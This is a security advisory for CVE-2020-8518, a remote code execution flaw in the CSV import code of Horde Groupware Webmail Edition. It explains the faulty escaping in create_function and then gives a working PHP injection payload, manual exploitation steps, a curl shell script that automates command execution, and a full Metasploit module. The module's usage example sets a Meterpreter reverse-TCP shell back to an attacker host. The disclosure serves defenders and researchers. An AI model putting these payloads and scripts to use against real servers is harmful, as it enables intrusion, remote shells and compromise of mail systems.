Andrea Cardaci — 10 March 2020
Discovered | 2019-06-19 |
Author | Andrea Cardaci |
Product | Horde Groupware Webmail Edition |
Tested versions | 2.1.4 (Horde Data API) |
CVE | CVE-2020-8518 |
The Horde project comprises several standalone applications and libraries, the Horde Groupware Webmail Edition suite (tested version 5.2.22) bundles several of them by default, among those, Data is a library used to manage data import/export in several formats, e.g., CSV, iCalendar, vCard, etc.
The function in charge of parsing the CSV format uses create_function
in a way that is possible to inject arbitrary PHP code thus achieving RCE on the server hosting the web application.
This feature is used by several Horde applications: Turba (address book; via /turba/data.php
), Mnemo (notes; via /mnemo/data.php
), Nag (tasks; via /nag/data.php
) and Kronolith (calendar)1. By using one of these an authenticated user can execute PHP and shell code as the user that runs the web server, usually www-data
.
In the master branch of the Data repository a commit replaced create_function
with a lambda function (as suggested by PHP that deprecated create_function
in version 7.2.0) yet apparently the authors failed to recognize the exploitable status of the prior code so they did not bump a new version, thus installing Horde via PEAR or Debian APT yields the vulnerable version (2.1.4).
Since this vulnerability does not concern IMP (the Horde webmail application) it is likely that also regular Horde Groupware (non-webmail edition) installations are affected.
In the file lib/Horde/Data/Csv.php
the following snippet is used to parse a CSV line:
if ($row) {
$row = (strlen($params['quote']) && strlen($params['escape']))
? array_map(create_function('$a', 'return str_replace(\'' . str_replace('\'', '\\\'', $params['escape'] . $params['quote']) . '\', \'' . str_replace('\'', '\\\'', $params['quote']) . '\', $a);'), $row)
: array_map('trim', $row);
Among the other things, the user supplies $params['quote']
, so for example if its value is quote
then create_function
is called as:
create_function('$a', "return str_replace('\\quote', 'quote', \$a);");
The insufficient sanitization of $params['quote']
escapes '
as \'
but fails to escape the \
itself thus allowing to escape the last hard coded '
. By passing quote\
, create_function
is called as:
create_function('$a', "return str_replace('\\quote\\', 'quote\\', \$a);")
And evaluated body is:
return str_replace('\quote\', 'quote\', $a);
Which causes a syntax error. (Note how the first string argument of str_replace
now terminates at the first '
of the second instance of quote
.)
Follows a simple payload that executes the id
shell command and returns the output in the response:
).passthru("id").die();}//\
Where the evaluated body eventually is:
return str_replace('\).passthru(id).die();}//\', ').passthru(id).die();}//\', $a);
Here is the explanation of its parts:
)
terminates str_replace
;
the concatenation operator (.
) continues the expression since the code starts with a return
;
passthru("id")
is an example of the actual payload to be executed;
die()
is needed because create_function
is used inside array_map
thus it can be called multiple times and it also aborts the rest of the page;
}
terminates the block function (...) {...}
used by the implementation of create_function
, otherwise the following //
would comment out }
causing a syntax error;
//
comments out the remaining invalid PHP code;
\
escapes the hard coded string as shown above.
Since some characters are treated specially, it may be convenient to encode the command to be executed with Base64, the payload will then become:
).passthru(base64_decode("aWQ=")).die();}//\
Among all the affected applications, Mnemo is probably one of the easiest to exploit as it does not require additional parameters that need to be scraped from the pages.
This vulnerability can be easily exploited manually by any registered user:
log into Horde;
navigate to http://target.com/mnemo/data.php
;
select any non-empty file to import then click “Next”;
in the input field labeled by “What is the quote character?” write the payload, e.g., ).passthru("id").die();}//\
then click “Next”;
the output of the command should be returned, for example:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Follows a simple script that automates the above steps:
#!/bin/sh
if [ "$#" -ne 4 ]; then
echo '[!] Usage: <url> <username> <password> <command>' 1>&2
exit 1
fi
BASE="$1"
USERNAME="$2"
PASSWORD="$3"
COMMAND="$4"
JAR="$(mktemp)"
trap 'rm -f "$JAR"' EXIT
echo "[+] Logging in as $USERNAME:$PASSWORD" 1>&2
curl -si -c "$JAR" "$BASE/login.php" \
-d 'login_post=1' \
-d "horde_user=$USERNAME" \
-d "horde_pass=$PASSWORD" | grep -q 'Location: /services/portal/' || \
echo '[!] Cannot log in' 1>&2
echo "[+] Uploading dummy file" 1>&2
echo x | curl -si -b "$JAR" "$BASE/mnemo/data.php" \
-F 'actionID=11' \
-F 'import_step=1' \
-F 'import_format=csv' \
-F 'notepad_target=x' \
-F 'import_file=@-;filename=x' \
-so /dev/null
echo "[+] Running command" 1>&2
BASE64_COMMAND="$(echo -n "$COMMAND 2>&1" | base64 -w0)"
curl -b "$JAR" "$BASE/mnemo/data.php" \
-d 'actionID=3' \
-d 'import_step=2' \
-d 'import_format=csv' \
-d 'header=1' \
-d 'fields=1' \
-d 'sep=x' \
--data-urlencode "quote=).passthru(base64_decode(\"$BASE64_COMMAND\")).die();}//\\"
A Metasploit module is provided for convenience2:
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(
update_info(
info,
'Name' => 'Horde CSV import arbitrary PHP code execution',
'Description' => %q{
The Horde_Data module version 2.1.4 (and before) present in Horde
Groupware version 5.2.22 allows authenticated users to inject
arbitrary PHP code thus achieving RCE on the server hosting the web
application.
},
'License' => MSF_LICENSE,
'Author' => ['Andrea Cardaci <cyrus.and@gmail.com>'],
'References' => [
['CVE', '2020-8518'],
['URL', 'https://cardaci.xyz/advisories/2020/03/10/horde-groupware-webmail-edition-5.2.22-rce-in-csv-data-import/']
],
'DisclosureDate' => '2020-02-07',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['Automatic', {}]],
'Payload' => {'BadChars' => "'"},
'Privileged' => false,
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The path to the web application', '/']),
OptString.new('USERNAME', [true, 'The username to authenticate with']),
OptString.new('PASSWORD', [true, 'The password to authenticate with'])
])
end
def login
username = datastore['USERNAME']
password = datastore['PASSWORD']
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'login.php'),
'cookie' => 'Horde=x', # avoid multiple Set-Cookie
'vars_post' => {
'horde_user' => username,
'horde_pass' => password,
'login_post' => '1'})
if not res or res.code != 302 or res.headers['Location'] != '/services/portal/'
fail_with(Failure::UnexpectedReply, 'Login failed or application not found')
else
vprint_good("Logged in as #{username}:#{password}")
return res.get_cookies
end
end
def upload_csv(cookie)
data = Rex::MIME::Message.new
data.add_part('11', nil, nil, 'form-data; name="actionID"')
data.add_part('1', nil, nil, 'form-data; name="import_step"')
data.add_part('csv', nil, nil, 'form-data; name="import_format"')
data.add_part('x', nil, nil, 'form-data; name="notepad_target"')
data.add_part('x', nil, nil, 'form-data; name="import_file"; filename="x"')
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'mnemo/data.php'),
'cookie' => cookie,
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s)
if not res or res.code != 200
fail_with(Failure::UnexpectedReply, 'Cannot upload the CSV file')
else
vprint_good('CSV file uploaded')
end
end
def execute(cookie, function_call, check)
options = {
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'mnemo/data.php'),
'cookie' => cookie,
'vars_post' => {
'actionID' => '3',
'import_step' => '2',
'import_format' => 'csv',
'header' => '1',
'fields' => '1',
'sep' => 'x',
'quote' => ").#{function_call}.die();}//\\"}}
if check
# deliver the payload and return the body
res = send_request_cgi(options)
if not res or res.code != 200
fail_with(Failure::UnexpectedReply, 'Cannot execute the payload')
else
vprint_good('Payload executed successfully')
return res.body
end
else
# deliver the payload in a a new thread since the meterpreter payload does
# not terminate when successful this allows to poll for session creation
t = framework.threads.spawn(nil, false) {
send_request_cgi(options)
}
while t.alive? and not session_created?
Rex::ThreadSafe.sleep(0.1)
end
end
end
def check
begin
cookie = login()
upload_csv(cookie)
body = execute(cookie, 'printf("check")', true)
return Exploit::CheckCode::Appears if body == 'check'
rescue Msf::Exploit::Failed
end
return Exploit::CheckCode::Safe
end
def exploit
cookie = login()
upload_csv(cookie)
# do not terminate the statement
function_call = payload.encoded.tr(';', '')
vprint_status("Sending payload: #{function_call}")
execute(cookie, function_call, false)
end
end
Place it in ~/.msf4/modules/exploits/multi/http/horde_csv_rce.rb
, then use it like:
use exploit/multi/http/horde_csv_rce
set payload php/meterpreter/reverse_tcp
set lhost 10.10.10.10
set rhost target.com
set username username
set password password
run